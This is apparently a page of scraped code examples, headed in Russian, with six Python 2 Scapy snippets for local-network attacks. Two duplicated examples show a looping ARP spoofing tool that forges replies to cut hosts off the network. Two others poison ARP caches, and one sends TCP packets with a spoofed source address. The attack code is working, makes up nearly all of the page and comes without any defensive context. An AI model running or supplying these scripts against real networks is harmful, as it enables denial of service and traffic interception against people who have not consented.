Пример #1
0
def fisting():
    arp_fist = ARP(pdst=argv[1], op=2)
    print "We are going to loop forever, CTRL-C to stop...\n"
    while True:
        sleep(3)
        for a in arp_fist:
            arping = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=a.pdst)
            ans, unans = srp(arping, timeout=0.1)
            if len(ans) == 1:
                a.psrc = a.pdst
                print a.pdst, "is ALIVE!"
                print "* Time to shut it down!"
                send(a)
                ans2, unans2 = srp(arping, timeout=0.1)
                if len(unans2) == 1:
                    print "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
                    print "@@@", a.psrc, "was rubber fisted!"
                    print "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
                    sleep(3)
                else:
                    print "FAILED:", a.pdst, "is still alive :-("
            else:
                print a.pdst, "is already DEAD!"
            print
Пример #2
0
def fisting():
    arp_fist = ARP(pdst=argv[1],op=2)
    print "We are going to loop forever, CTRL-C to stop...\n"
    while True:
        sleep(3)
        for a in arp_fist:
            arping = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=a.pdst)
            ans,unans = srp(arping,timeout=0.1)
            if len(ans) == 1:
                a.psrc=a.pdst
                print a.pdst, "is ALIVE!"
                print "* Time to shut it down!"
                send(a)
                ans2,unans2 = srp(arping,timeout=0.1)
                if len(unans2) == 1:
                    print "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
                    print "@@@", a.psrc, "was rubber fisted!"
                    print "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
                    sleep(3)
                else:
                    print "FAILED:", a.pdst, "is still alive :-("
            else:
                print a.pdst, "is already DEAD!"
            print
Пример #3
0
import scapy
scapy.send(IP(dst="192.168.86.81") / ICMP())
Пример #4
0
 def run(self):
         a = scapy.ARP()
         a.psrc = sys.argv[1]
         a.pdst = self.ip
         scapy.send(a)
         print "[+] Poisoned entry %s for host %s" % (sys.argv[1],self.ip)
Пример #5
0
def knock(ip_src, ip_dst, d_port):
    # yeah, it's so easy
    send(IP(src=ip_src, dst=ip_dst)/TCP(flags='S', sport=666, dport=d_port))
    print "Knocked %s:%s" %(ip_src, d_port)
Пример #6
0
 def run(self):
     a = scapy.ARP()
     a.psrc = sys.argv[1]
     a.pdst = self.ip
     scapy.send(a)
     print "[+] Poisoned entry %s for host %s" % (sys.argv[1], self.ip)